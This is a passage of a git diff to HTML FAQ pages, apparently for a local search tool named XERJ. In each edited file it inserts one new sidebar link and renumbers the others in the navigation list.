class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/filter-knn-exact-scan-caveat.html b/landing/answers/filter-knn-exact-scan-caveat.htmlindex e1a8da809..682d87877 100644--- a/landing/answers/filter-knn-exact-scan-caveat.html+++ b/landing/answers/filter-knn-exact-scan-caveat.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class="active"><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class="active"><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/full-text-search-browser-history.html b/landing/answers/full-text-search-browser-history.htmlindex de796a046..cc5d5f652 100644--- a/landing/answers/full-text-search-browser-history.html+++ b/landing/answers/full-text-search-browser-history.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class="active"><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class="active"><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/full-text-search-sqlite-database.html b/landing/answers/full-text-search-sqlite-database.htmlindex ca1c567b9..127f23a43 100644--- a/landing/answers/full-text-search-sqlite-database.html+++ b/landing/answers/full-text-search-sqlite-database.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span 